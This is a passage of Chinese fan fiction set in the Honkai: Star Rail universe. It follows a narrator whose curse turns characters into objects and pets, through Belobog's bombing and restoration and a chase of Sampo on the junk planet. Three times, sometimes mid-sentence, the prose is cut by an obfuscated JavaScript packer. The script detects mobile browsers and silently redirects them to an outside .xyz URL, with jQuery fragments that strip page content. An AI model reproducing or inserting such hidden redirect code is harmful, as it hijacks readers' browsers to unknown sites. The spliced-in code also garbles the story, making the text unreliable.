砂金被擦拭干净后,一身五彩斑斓的毛发更加耐看了。你将他抱在床上,这才有心思琢磨另外三个小家伙去哪儿了。 银枝不知道什么时候贴在了窗户上,螺丝咕姆找了个架子站在上面。而杰帕德就更为安静了,你找了半天才在床底下找到他。 你把杰帕德拖出来。 这个床底也不知道怎么了,杰帕德才钻进去不久,身上就落了灰。你拍去他身上的灰,也把他抱上床。 然后你就在景元和砂金以及杰帕德的包围下沉沉睡去,景元的毛真的很暖和。砂金的毛也很顺滑,唯独这个杰帕德,硬邦邦的,还没有一点儿温度。 你有意无意将他踹下了床。 “她睡熟了。” “我们是不是该采取行动了。” “要悄咪咪搞事情,不要被她察觉。” “她的感知力很强的。” 你迷迷糊糊听到什么声音。 装什么,你分明听得很清楚好吧。 是的,没错。 你睡着了。 你装的。 你就不信,在贝洛伯格发生的一切,那个老桑博会一无所知。 你不会到现在还在怀疑桑博吧。 这也不能怨你。本来你都要相信他说的话了,尤其是他明明已经恢复了人身但还要劝你来贝洛伯格的时候。但是现在景元仍旧没有恢复人身,这就值得怀疑了。 就算星期日和景元的时间可能有所差别,现在是星期日恢复了人身。身在垃圾星的老桑博察觉到了,也应该有所行动才对。 于情于理,老桑博都该有所行动不是吗。 但是现在窗户外的声音却是有些熟悉,但却不属于任何一个你特别熟悉的人。像是隔着一层迷雾一般,你能模模糊糊看到是个人影,但却看不清是谁。 直到那个人脱口而出一句,“这个花孔雀怎么长得跟砂金那个狂徒似的?” 那就是砂金好吧。 你默默在心底里鄙视了这两个家伙,不过这句话却是给你提供了新的思路——你想起了在庇尔波因特的舒俱和欧泊。 这两个家伙居然也千里迢迢来到贝洛伯格,究竟想捣什么鬼。 你决定去祸害他们一下。 43.贝洛伯格 事情往往总是出乎你的意料,但又往往总是在你觉得失败的时候给你意料之内的惊喜。 至于为什么说是出乎意料呢,因为你明明看到这两个家伙鬼鬼祟祟地顺着窗户往里爬,而且也努力地释放你的诅咒了,但是没想到这两个东西居然没有第一时间变得不是人。 正当你以为他们也和景元一样出问题了之后,这两个人却又在你开灯的同时变成了一个奶嘴和一串舒俱来手串,而且还分别塞进了你的嘴里和戴在了你的手上。 ! 舒俱来也就算了,奶嘴是什么鬼。 请不要把你当成小孩子,谢谢! 你把奶嘴拿了下来,顺手丢进了喝水的杯子里泡着。至于舒俱来手串,这紫色看得你很是欢喜,也就由他去了。 “姐姐~” 欧泊可怜巴巴的声音从杯子里传来,他现在真的是动弹不了,几次想从杯子里蹦出来,但是却无济于事,只能隔着玻璃委屈巴巴地看着你。 声音听得你的心都要融化了。你忍不住心生怜爱,将他从杯子里拿了出来。他却得寸进尺,直接又塞进了你的嘴巴里,然后像是用什么胶封住了一般,你怎么扯都扯不下来,只能发生呜呜的声音。 “姐姐偏心~” 偏心? 难道是说舒俱吗? 你把舒俱来手串摘了下来,丢进了先前泡欧泊的杯子里。此时你才发现,那个杯子里的水已经变成了白色的奶沫。舒俱被丢进去的时候立即炸毛了,“我不是喝奶的小孩子。” 呃。 这个,你也没有办法。 不这样做,这个欧泊不肯离开你的嘴。 为了你的嘴巴着想,只能让舒俱暂时委屈下了。 但是舒俱不是欧泊这样的小孩子,他轻松一跳就离开了那个装满奶沫的杯子,然后瞬间变大了无数倍,开始在房间里转着圈儿搞破坏。 哦。 天呐。 大半夜的,本该搂着景元舒舒服服地睡觉,没想到全被这两个家伙给搅了。而且这两个家伙的出现,更让你确定自己是被桑博那个骗子给耍了。 就算星期日有可能是先一步景元变成谐乐鸽的,但是已经连续两个人变得不是人了,景元现在居然还是白猫的形状。 你越想越生气,也不管强行摘掉奶嘴会不会把你的嘴巴弄伤,直接大力出奇迹把欧泊给扯了下来。 想象中的疼痛没有到来,你轻而易举地就把欧泊拿了下来。愣神之际,你更加生气了。然而还没等你发威,几道极为巨大的声响就在耳边炸开,紧接着头顶上的东西就铺天盖地砸了下来。 你勉强从废墟里爬出来,好在景元他们这些小家伙虽然因为你的诅咒变得不是人了,但是也因为你而没有受到任何伤害。他们几乎就真的和你绑定了,就像你之前说的,他们已经成为了你的一部分,就像星期日脑袋后面的光环会随着他低头而有所移动一样。 虽然这个解释有些牵强,但是也没办法,事实的真相如此。 刚才还有点儿生气的你,现在居然有些庆幸。螺丝咕姆和银枝别在你的头上,杰帕德趴在你的背上,砂金待在你的脚边,景元蹲在你的脑袋上。至于舒俱和欧泊,一个戴在你的手上,一个…… 你闭紧了嘴巴。 欧泊只能瘪着嘴巴漂浮在半空中。 你叹了口气。 正要去弄明白到底发生了什么事情,歌德宾馆为什么会被轰炸,一队西装革履的精英人士就出现在了你的面前。为首的是个长相十分硬朗的中年人,整个人身上散发着一股十分令人讨厌的气息。 “砂金。”中年人的一只手背在身后,另一只手搓着两个核桃,“你联合巡海游侠,欲置我于死地。事情败露后叛逃公司,你该当何罪?” 还该当何罪,这种说法真是新鲜,不过也几乎能证明这个中年人是真的老了。 砂金这只小孔雀就要上前,你直接拦在了他的面前,“敢问阁下何人,有什么资格轰炸贝洛伯格?” “贝洛伯格,一阶蛮荒之地,我不过是为开化这里的愚民而来。” 通过只言片语,你几乎猜到了这个人的身份——奥斯瓦尔多·施耐德,一个有着极为血腥开拓理念的人。 杰帕德本来是系在你的背上的,如今从你的背上滑落了下来,涨红了脸就要上前甩给奥斯瓦尔多一个大逼斗。 你拦住了杰帕德。 “我没记错的话,贝洛伯格的烂账已经交给战略投资部了,市场开拓部无权干涉。” 说话的是砂金。 “哈哈哈。”奥斯瓦尔多搓着两个核桃,“战略投资部?无权干涉?茨冈尼亚的奴隶有资格说这句话吗?殊途同归,以为披着华服就能掩盖骨子里的脏血吗?也是,越上枝头总好过一辈子淹没在黄沙里。跌落尘埃,沦落至此,如今这幅模样,就活该被别人拔光了毛,放进沸水里,煮得咕嘟咕嘟冒泡,吃得……” 不得不说,这个有着血腥开拓理念的人想象力还挺丰富,和你有得一拼。 请不要把这个前无名客和你相提并论。 人家也是正经过的。 谢谢。 啊好吧。 既然如此,就不需要再听他的废话了。 奥斯瓦尔多还沉浸在他的某个不是茹毛饮血丛林探险经验中,你就拿着杰帕德这只吉他箱子狠狠甩给了他一个大逼斗。 竟然敢抢你的台词! 砂金这只小孔雀就算被人拔毛,吃得干干净净,这个人也只能是你不是别人! 你的力气当然力大无穷,再加上杰帕德这只吉他箱子本身也足够坚硬,奥斯瓦尔多直接被扇出去一米多远,狠狠摔在地上,然后猛地吐出一口老血! 就这个剧情,爽! 爽个Der! 贝洛伯格都被人炸完了,你才爽。 你个马后炮。 然而现在已经不是追究马后炮不炮的问题了,奥斯瓦尔多带领的那些人立即开启了轰炸模式,誓要将你炸得全身粉末性骨折。 说人话。 炸成人渣。 哼。 你还想将他们炸成丸子呢。 你的身躯瞬间增大了无数倍,直接将天上的那些星槎击落下来。一时之间,无数流星从天际划过,竟然有种凄惨的美丽。 奥斯瓦尔多被你抓了起来。 你紧紧盯着这个人。 他是唯一一个不受你诅咒影响的人。 男性。 明明各项条件都很符合,可是他就是没有变得不是人。 何其讽刺。 他的做法从头到尾都不像个人,可偏偏他的人形就是全须全尾的,没有一点儿变化。 你还以为是时间的延迟,先前也不是没有出现过这种情况。但是你与他带来的那些人缠斗了很久,他依然还是完好无损的人形。 奇了怪了。 阿哈这个鬼东西在搞什么。 难道是因为奥斯瓦尔多是公司的人,而公司又是信奉琥珀王的,阿哈怕得罪克里珀,才没有让诅咒在他的身上生效? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469037|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是砂金和舒俱以及欧泊也是公司的人,而且公司只是单方面信奉琥珀王,克里珀根本就不想鸟他们。 阿哈应该没有理由这么做。 你不禁联想到了自己。 难道是自己的体质? 哦。 天呐。 你这个人形bug,真的是百试百灵,什么理由都能往自己的身上栽,都不用费力气整个什么别的理由来敷衍。 不管怎么说,你暂时屈服了这个说法。反正任何都不能用常理来解释的东西,都能用你来做挡箭牌。 你叹了口气。 任由杰帕德和砂金这两个家伙对奥斯瓦尔多公报私仇。 “景元,你怎么看?” 景元则是旁观者清,比你这个迷糊的当局者看得明白,“许是他的脸蛋不符合你的口味。” ! what?! 这是什么离奇古怪的理由。 “桑博老弟与我说过,”景元老神在在,“如今发生的一切除了与常乐天君有关之外,还与流光天君有关。” 流光天君? 还溢彩天君呢。 车窗外,这夜色,流光溢彩~ 叽米是梦的开场白- 打住。 这人是谁? 景元像是早知道你会有此一问,意有所指道:“远在天边,近在眼前。” 呃。 虽然说流光天君这个名字听起来确实好像比无名高大上一些,但是你还是更喜欢无名这个称呼。而且你也无意篡夺浮黎的记忆星神之位,你没这个兴趣。 喂! 这是事情的重点吗! 重点不应该是你只霍霍脸蛋戳你xp的人吗! 谁戳你xp,你就霍霍谁。 你没有。 景元看向你。 砂金看向你。 螺丝咕姆看向你。 银枝看向你。 杰帕德看向你。 欧泊看向你。 舒俱看向你。 你……在他们的眼神下屈服,但内心却愤愤不平。 都能组成七个葫芦娃去打怪的人了,居然用这种方式逼你承认。 有本事来单挑啊。 你将全部怒气都发泄在了奥斯瓦尔多身上。不得不说,这个家伙还挺抗揍的,居然还留着一口气活着。 你开始思考在贝洛伯格发生的一切,有些明白桑博的用意了。 他不是叫你来恢复景元原形的,而是叫你来护住贝洛伯格的。但是现在贝洛伯格已经成为了一片废墟,飞雪接二连三地飘下。 已经快把废墟全都掩埋了。 你再次怀疑老桑博的用意来。 既然他千方百计骗你来,那么你应该一定能拯救贝洛伯格。 你想起刚来贝洛伯格时掩埋在白雪之下的累累白骨了。如果这些建筑物的材料和人的肉身一起被埋在白雪之下,分明是人的肉身先分解殆尽。即便是有坚硬的骨头,但分解速度也比什么钢材要快得多。而且贝洛伯格同样走在存护的道路上,筑起的城堡也自然比你理解中的要坚硬很多。 没道理只能看到白骨。 难道这其中有什么猫腻。 就在你思考的空当儿,整片废墟从白雪中拔地而起。几乎就在眨眼的时候,贝洛伯格已经重新屹立在眼前。 希露瓦抱着吉他招呼你:“嗨,我的观众,来听我演奏一曲吧。老弟,你那是什么表情,当上了戍卫官就不把我这个庶民姐姐放在眼里了?” 44.贝洛伯格 黄金歌剧院。 希露瓦在上面抱着吉他大唱特唱,下面的你和杰帕德面面相觑。当然还有其他小家伙,由于名字过多不便于赘述。 事情的发展有点儿诡异。明明贝洛伯格已经被炸成了一片废墟,可为何只是短短的一瞬,整个城市就已经恢复了正常。 难道仅仅只需要你一个念头,就能起到回到过去的作用? 手里的核桃证明了你的想法。 是的。 先前你还感叹于奥斯瓦尔多为什么没变得不是人,结果希露瓦出现的下一秒,整个城市恢复的那一瞬,奥斯瓦尔多就变成了现在你手里的核桃。 要了命了。 根据老桑博总结的什么规律,难道你也对这个奥斯瓦尔多老男人感兴趣? 天呐。 虽然有时候你也会很欣赏一些比较年纪大的男人,但是可以是七百岁、七千岁、七万岁乃至于更大的,但绝对不能是七十。 手里的核桃开始抗议。 你不小心按破了核桃壳的一个小口,这个坚硬的东西夹住了你指头的一角,就像是被咬了一口似的。 你稍稍回神。 虽然奥斯瓦尔多的面容上有些许皱纹,但是看上去好像也不是七十,顶破天也就四十。 这是年龄的问题吗! 啊。 好像也不是。 算了,不管那么多了。 哦。 不行。 还是得管管。 刚才忘记说了,奥斯瓦尔多虽然和景元他们一样受你的影响变成了核桃,但是他却不会说话,也不能像欧泊或是银枝似的这类小物件可以在空中漂浮。不过倒是可以像舒俱似的在地面上通过滚动来前进,但是估计不能变换大小,否则他应该早就变大无数倍,把你碾成肉饼然后逃之夭夭了。 呃。 既然这样的话,你有个疑问。 为什么舒俱不会这样做呢。 欸也是。 既然你觉得舒俱会因为想要恢复原形而委委屈屈待在你身边,那么为什么奥斯瓦尔多不会呢。 好叭。 先前的推测有误,奥斯瓦尔多估计也能变换大小,估计也能开口说话,只是不想在你面前表现罢了。 他想隐藏自己的实力,以便于到最后给你个致命的打击。 但也不合理,你和舒俱应该还没闹到那个不可开交的份儿上。而奥斯瓦尔多,你们都直接拳脚相向了。而且他待在你身边除了能恢复原形什么好处也没有,而且还要忍受砂金和杰帕德的双重混打。 呃。 不太严谨了。 杰帕德现在的注意力全在新建的贝洛伯格和他的老姐身上,现在只有砂金会时不时地去教训一下奥斯瓦尔多,包括但不限于用脚踩了,用翅膀扇了之类的。如果不是孔雀的形象限制了他的发挥,估计他还能想出更折磨人的招数。 扯远了。 反正奥斯瓦尔多待在你身边绝对是弊大于利。 除非—— 你禁不住把视线放在和奥斯瓦尔多后前脚来的欧泊和舒俱身上。 光顾着收拾奥斯瓦尔多,忘了这两个家伙了。 留下景元和杰帕德还有银枝后,你带着螺丝咕姆还有阵营属于公司的四个人离开了歌剧院。 舒俱缠在你的手腕上,安安分分地待在手串该待在的位置上。奥斯瓦尔多被你的手掌搓着,砂金跟在你身后,螺丝咕姆别在你的头发上。 至于欧泊这个像是孩子又不像是孩子的家伙,被你放进了还剩一半水的杯子里。 是的,因为这个奶嘴的关系,你不得不走到哪儿都端着一个杯子,为此还引来不少人的围观。 对此你表示很无奈。 咬在嘴里只会引来更多人的围观。 本来是抱在怀里的砂金,放在平时,早该调侃你喜新厌旧了,但现在不知道心里在琢磨什么,一直比较沉默。 你直接回了歌德宾馆,老歌德依旧是笑呵呵的模样,看起来和平常没什么区别。 你刚推开门,还没来得及问欧泊和舒俱有什么企图,就看到被你留在歌剧院的景元和杰帕德以及银枝正在房间里玩枕头大战。 白色的鹅毛像是下大雪一般纷纷扬扬落下,在你的心尖形成一个问号。比起拆家,你更关心另外一件事情。 “你们……” 景元正用爪子挠着枕头,听到你的声音举起小爪子,“回来啦?” 这个语气怎么有种你在外面忙碌了一天然后回到家看到自家的猫朝自己打招呼的错觉。如果在前面加个铲屎的,就更为相像了。 你用食指挠了挠脸颊。 虽然现在景元的身份是自家的猫没错,但是你还从没有从心底里接受过这一点。 景元负责用爪子抓破枕头,杰帕德负责大力拍打,银枝负责在空中飞来飞去,和羽毛玩耍。 你禁不住问杰帕德:“希露瓦放过你了?” “姐姐……”提到希露瓦,杰帕德的行为难得收敛了些,神情有些局促。 对,是局促。 不应该呐。 你有些疑惑,明明先前他还在担心希露瓦和整个贝洛伯格的新生只是个幻象,怎么现在就坦然接受了。按照你对杰帕德的了解,他不应该是情绪转化如此之快之人呐。 而且这个局促的神情与其说是害怕他姐再次拽他过去听她弹吉他,或者说是因为鸽了他姐被你撞见而难得有些愧疚,不如说是更像被他姐调戏后的不知所措。 难道你走后希露瓦又说什么小杰杰之类的话杰帕德才和景元还有银枝回来的? 这个想法目前来说比较合理。 但不知为何,你还是觉得有些怪异。 “手里的是什么东西?” 杰帕德看见了你手里的核桃,也不再大力拍枕头了,反而是对奥斯瓦尔多产生了兴趣,口吻也和工作时的戍卫官相差无几。 怪异的地方就在这里。 为了验证你心里的某个猜想,你举起了手里的杯子,向他展示杯子里的奶嘴和手腕上的舒俱来。 杰帕德却没对这俩小家伙感到意外,只是看向你另一只手里的核桃。你把核桃放在地上,杰帕德又开始拍打核桃玩了。 好惨一主管。 但眼下不是考虑这个的时候。 砂金道:“他们失去了关于爆炸的记忆。” 螺丝咕姆道:“结论:欧泊和舒俱与爆炸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478119|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫无关系。” 虽然你心里也有这个想法,但是在砂金和螺丝咕姆的联合夹击下,你还是难免有些怀疑螺丝咕姆是不是因为真理医生的关系秘密加入了公司的博识学会。 哦。 天呐。 你又要忍不住喊天了。 事实上你已经喊出来了。 你只是来贝洛伯格找个盾而已,顺带着让景元恢复原形,为什么又会牵扯出一大堆事情来。一个问题没解决,又来好几个问题。 真是让人头疼啊。 你和景元他们也就短短分开了一会儿而已。难道这些小家伙只能寸步不离地跟着你吗,一旦离开就会失去部分记忆?而且为了修复这个错误,还会特地将他们强制遣送回事情没发生前的地方? 你叹了口气。 想当初,桑博可是从来没让你操过心。离开了你这么长时间,他在垃圾星混得风生水起不说,还帮你解决了垃圾桶的温饱问题。 当然你不是说景元他们不好,只是单纯想让桑博做个人罢了。如果最初的最初,他不来找你,也就不会发生这么多事情了。当然,推本溯源,如果当初阿哈没有那么多事,今天的一切都不会发生。 你累了。 就这样吧。 让你先颓废一会儿。 狮子还有打盹的时候呢。 希望后来被你霍霍的人里没有狮子。 虽然不至于考虑什么食物链之类的。 你在一地羽毛中安然入睡。 虽然生活一地鸡毛,但是你还能入睡。 有这个心态做什么都会成功的。 你呼呼大睡。 这个年纪你怎么睡得着的。 一本书在拍打你的脸颊。 不管了,爱咋咋。 就算是真理医生来了,你也要睡觉。 ! 你猛地坐了起来。 不对啊。 真理医生他们还在垃圾星呢,怎么就没有被强制送到贝洛伯格呢。 难道垃圾星也是个bug。 脑子里一团乱麻。 你直接倒回床上。 不管了,碎觉碎觉。 狗命要紧。 你要是和阿哈一个脑回路,不知道该哭还是该笑。 阿哈的脑回路无人能比,你虽然喜欢找乐子,但也不是什么乐子都找。按照这个思路,你如果和他一个脑回路应该是要哭的。但是阿哈是欢愉星神,天生爱笑,你要是和他想法相同的话,必然哈哈大笑。 这还真是个悖论。 你又想起了记忆星神浮黎。 从有记忆开始,你就收获了来到不同星神的暼视,唯独没有记忆的。不过也难怪,如果当初你真的是被众神合力剿杀,只是你不记得了,而如果此时记忆星神暼视过来,你恢复了以前的记忆,要为自己讨回公道,找众神报仇的话,岂不是银河间的灾难。 毕竟时间的力量难以控制。倘若拨转指针回到星神诞生的最初,几乎不费吹灰之力就能赢下列神之战。 不过这对于阿哈来说,倒是桩乐子不假。 时间是记忆的载体,难怪景元会叫你流光天君。 带了脑子果然不一样。 45.垃圾星 其实对于你来说,带不带脑子都一样。 你再次叹了口气。 这可真的不像你。 以前你都是没心没肺的,天大的事情你也能睡得着,但现在却是躺在床上翻来覆去也无法入睡。与其说是睡觉,不如说是借着闭着眼睛的功夫在复盘在贝洛伯格发生的一切事物。 你听到了核桃壳碎裂的声音,也听到了砂金和舒俱以及欧泊的窃窃私语。还听到了景元上床的声音,感觉到了脸颊旁毛茸茸的触感。 但你没有感到任何安慰,反而觉得有些可悲,甚至从内心深处感到对这些小家伙的深深愧疚。第一个便是景元,谁让他的身份摆在那里。 你叹了口气。 如果每天都有这么多烦恼的话,不如死了算了。不过如果景元能恢复原形的话,你大概会少很多烦恼。 细数下来,你感觉围在你身边的这些小家伙,最让你担心牵挂的就数景元了。如果他不是罗浮将军的话,还像以前那样只是个骁卫,你大概也不会这么担心。 摸着你的良心再说一遍。 呃。 好吧,还是很担心。 看来无关身份。 服了你了。 你用手背盖着眼睛,十分不愿意面对这个现实,甚至不想承认。 算了,还是回垃圾星吧。 桑博一定有办法。 没办法也得有办法。 你直接从床上坐起来。 景元猝不及防从你的肚皮上滚落下来。他有些无奈地笑着,“莫不是生气了?” 生气? 你从来不会生气,要生气也是生自己的气。 你和小家伙们同步了你的想法。 他们都愿意和你一起回垃圾星。景元和砂金还有银枝以及螺丝咕姆自然不必多说,欧泊和舒俱以及杰帕德还有那个核桃是后来的。 是的,你宁愿称呼这个奥斯瓦尔多为核桃,也不想称呼他这个极其拗口的名字。 景元看着你。 你从他的眼神里读出一句话,“还有名字比他更拗口的。” 呃。 有就有吧。 别找上你就行。 你翘起食指和小拇指,默默为自己祈祷。 那个核桃不会说话,但估计砂金也不会放过他,自然得带着他一起走,回去感觉也少不了来自波提欧的怒火。 啧啧。 堂堂一个市场开拓部主管,居然混到这个地步。 至于杰帕德,他还有些犹豫。不过也好说,被希露瓦刺激一下就没事儿了。 你直接出了门。 没错,其实你的行动力不是一般地强,是非常地强,根本等不了一点儿。 王婆卖瓜,自卖自夸。 闭嘴。 如今的你可是全副武装,顶着景元,别着螺丝咕姆和银枝,背着杰帕德,抱着砂金,搓着核桃,戴着舒俱,端着欧泊。 一下子带回去四个小伙伴,不知道老桑博看到了是直接两眼一黑晕倒还是竖起大拇指夸你真的很能招贤纳士。 大概率是后者吧。 假面愚者应该有这个觉悟不是吗。 两眼一黑直接晕倒传出去多丢阿哈的脸面。 估计阿哈这样的人也不会在乎什么脸面。 就一个字,烦。 你拼命抓着自己的头发,直到抓成一个乱糟糟的鸟窝。银枝实在看不下去了,帮忙打理了一下:“我的挚友,请不要玷污我美丽的生灵。” 玷污是什么鬼。 可以换个词儿吗。 银枝这个小透明从来贝洛伯格就一直在和螺丝咕姆吵嘴,不过自从他变成一支玫瑰之后,你的头发打理倒是顺滑了不少。 你决定好好奖赏他一下。 于是便直接将银枝从头上拿了下来,然后插在放有欧泊的水杯里。 欧泊待过的水杯可是有奶水的,用含有养分的水浸养玫瑰,让其根部充分吸收营养,应该能让玫瑰盛开时的花瓣更为娇艳欲滴。 但不知道是不是欧泊的奶汁有些太过浓郁,银枝被插下去没多久就已经开始口吐白沫。 “……有……有毒……” 什么情况。 “……挚友的感谢方式一如既往地让我有些感动,但下次不要感谢了。” 银枝的话说得极为勉强,你只能将他从水杯里拿了出来。 有毒? 你把银枝重新别到头上,根部接触到头皮,但你却没有感到任何异常。 你还挺难杀的。 你沉默良久,直接将欧泊用两根手指拿了出来,然后将这半杯奶水一饮而尽。 但是除了嗓子感到些许润泽外,旁的什么也没有。 真的难杀。 欧泊被你丢回杯子里,像个乒乓球一样在玻璃杯内发出晃动的响声。你摇晃着杯身,骂道:“留你有何用!” 欧泊被晃得头晕,一直在奶声奶气地叫,“姐姐~姐姐~姐姐~” 你直接把欧泊含进了嘴里,当个棒棒糖咬着。 就这样吧,毁灭吧。 如果说前几天你还会在乎其他人的视线,但如今的你已经不是从前的你了,现在是钮钴禄点儿你。 什么叫钮钴禄点儿你。 真笨。 当然是钮钴禄·你。 不。 确切来说应该是钮钴禄·无名。 反正就不是从前的你了。 你面无表情地想。 你这么大个人叼个奶嘴怎么了,很多人直到死都还没断奶呢。 你发出极为冷酷的一声冷哼。 许久不见的哈努兄弟上线。 ……算了,你喜欢就行。 哈努兄弟下线。 你在黄金歌剧院找到了希露瓦,她像是一直在这里演唱没有回去一般,见到你来了便亲切地迎上来。你和她说了自己的想法后,她很认同你带杰帕德走。同时还真的刺激了一下他,“小杰杰,该不会是怕自己一个人出远门吧。” “我没有……姐姐……你别老这样……” 难得加了一个“老”字。 你总是感觉杰帕德被调戏的时候都差不多,但总是百看不腻。如果不是回垃圾星回得急,你肯定会好好欣赏一番,但现在是没办法了。匆匆和希露瓦说了几句后,你便原地升空,带着他们离开了。 垃圾星如今是越来越热闹了。在上空你就能看到下面密密麻麻的人群,不仅仅是垃圾桶。 你降落在侦探社前,老桑博正在招呼生意,看到你回来了,脸上立刻浮现笑容。但看到你头顶上的景元和其他陌生的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484192|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小家伙后,笑容立即消失。 嘻嘻。 不嘻嘻。 桑博一句话没说,抱着脑袋就开始逃跑。他这一跑,你登时明白了——包括星期日在内的其他人也没恢复原形。否则,他早就跑了。不过也从侧面证明了他的无辜,他的确没算计你。 但是话又说回来,遇到问题不想着解决,居然撒腿就跑。你顿时气不打一处来,直到此时你才发现,原来除了你自己,还有其他人能让你生气。阿哈不算是人,老桑博勉强算一个。 你直接跨上椒丘这只粉毛狐狸,一手持刃这把长剑,一手玩转着波提欧这把手枪,直接朝老桑博追去。 不得不说,这三个小家伙来得真及时。 看来在你离开垃圾星的这段时间内,桑博没有从其他人那里获得一丁点儿好感。 不过这个场面看起来有些滑稽。先不谈老桑博了,就单说你自己——叼着奶嘴,杀气冲天。 景元好整以暇地摆了个赌局,砂金率先下注,引得周围的客人也纷纷跟着下注。 许是看到所有人都选了你会获胜,景元有些许无奈:“这样赌局就没有办法开了。” “为什么?”杰帕德有些许好奇。 砂金:“……” 景元:“……” 罗刹:“……” 星期日:“……” 众客人:“……” 大概没什么人回答他。 你听到这里有些想笑,差点儿没从椒丘的背上一头倒下。 “专心些。”椒丘禁不住提醒你道。 你应了一声,继续追逐桑博。 丹恒这枚枫叶也来凑热闹,贴在了你的脸颊上,隐隐为你助力。还有青竹这只竹笛,凭空漂浮在半空中演奏起来,给桑博上debuff。真理医生则是一巴掌拍在了桑博的后背上,直接将他砸倒。以及加拉赫,顺势咬住了桑博的裤脚。 拿下! 你将刃和波提欧别在腰间,从椒丘的背上跳下来,在桑博的面前蹲下。手掌托起他的下颌,你选了个比较霸气的问法,但鉴于你现在叼着奶嘴,估计威慑力不大,“还有什么要解释的?” “嘿嘿嘿。” 桑博重新摆出一张笑脸,“伙计,你听我解释。” “解释?我看是狡辩才对。”真理医生漂浮在半空中,本来还在哗啦翻书,此时啪地一声将书册合上了。 桑博苦笑一声,“既然如此,我也无言以对了。”他重新看向你,“伙计,我真的真的是有苦衷的。” 托住桑博下巴的手收紧,你慢慢站起来,桑博仰视着你。这副神情,竟莫名有种宁死不屈的感觉。 分明是有恃无恐好吧。 你不为所动,继续为老桑博找补。 也是,没有苦衷的话早就跑了。 你真是没救了。 “色令智昏。”真理医生一针见血。 “见色忘友。”刃冷哼一声。 “他宝贝的!”波提欧怒骂。 你无动于衷。 “我相信你的选择。” ! 你朝声音的来源看去,居然是有着淡淡人机感的丹恒。 丹恒淡淡道:“毕竟也没有其他的选择。” “……” 你撤回了一个感动。 46.垃圾星 你重新过上了无所事事的生活。每天的日子就是从床上爬起来,然后在侦探社上演一场桑博追逐战。无他,就是单纯好玩而已。作为垃圾星唯二的两个人类,你不找他消遣,真的是太对不起他这张脸了。 而其余的小家伙嘛,则是该吃吃该睡睡,一点儿都不担心自己的原形是否恢复。当然,是除了那个核桃之外。那个奥斯瓦尔多·施耐德大概是有自己的意识的,只是无法言语罢了。 至于你为什么确定他现在无法说话呢,因为除了砂金之外,波提欧也加入了对他的迫害行列。 波提欧可是向来不会手下留情的,在他的折磨之下,任何人都会发出惨不忍睹的尖叫声。而那个核桃却依旧坚|挺,除了碎成渣渣之后重新合并之外,再发不出任何其他的声音。虽然也是有逃跑的举动,但是跑不了多远就会被抓回来。 你叹了口气。 加上从贝洛伯格带回来的四个,你已经拥有了十八位小伙伴。鉴于桑博已经变成了人,所以就还剩十七个小伙伴。其实,你真的很想把桑博变得不是人。但是不知道为什么,不管你怎么释放你自己的诅咒力或者说是影响力,他都毫发无伤。 难道阿哈的力量比你这个时间星神还强大吗? 你突然间有点儿生气。 说什么最古老的星神,结果却连最喜欢搞怪的阿哈都斗不过,还要现在受祂的摆弄。 呃。 有点儿不忍心戳穿你了。 从故事的开始到现在,你一直在受祂的摆弄。 你:“……” 你不说话没人把你当哑巴。 闭嘴。 你双手托腮,内心无限凄凉。一枚白花项链在你的眼前晃动,搅得你头晕眼花。这个不知道从哪里来的罗刹,存在感甚低。但是你一眼就能够看出来,这位绝对不是个善茬。 你还记得他在庇尔波因特时是如何温柔似水,也记得他治疗波提欧时是如何妙手回春。之前因为急着去贝洛伯格,也没和罗刹说上几句话。 呃。 受不了你了。 十七位小伙伴,大多数你都没和他们说上几句话吧。 唉。 你叹了口气。 这也不能怪你。 小伙伴太多了也是一种烦恼,难免顾此失彼,除非有人凑上来主动刷存在感。 罗刹还是个比较聪明的。 但因为他是个项链的形状,链子又比较长,所以你一直没有佩戴他。 呃。 还是有一次吧。 就是他刚刚变成项链的时候,但很快就被你拿下来了。他没哭也没闹,看着还挺心如止水的。 你戳了下罗刹的脑袋,其实也就是项链底部的那朵白花,“你有什么企图?” 其实你本来不想这样问的,但鉴于这几天听桑博叨叨了很多关于罗刹的事情,又从丹恒的智库里搜寻到了一些蛛丝马迹,总感觉像他这样的人应该不惧怕外形的影响才是。 换句话说,这个世界已经没有罗刹在乎的人了。除了在仙舟偶尔亮相,和景元以及丹恒有过交集之外,别的人和事就没有了。呃,大概可能还有镜流。但是,这似乎也不能成为他在乎外形的理由。 “企图?” 罗刹好像对这个词儿比较感兴趣,唇角轻轻抿了一下。分明现在是个项链的化形,但不知为何,你居然能够凭空想象出金发披肩的他如今应该是何种神情。 你一巴掌拍在自己的额头上。 请停止你的想象力。 “明显不怀好意的人你不去问,反倒来问我这个无所事事的人。” 明显不怀好意的人? 难道他指的是桑博? 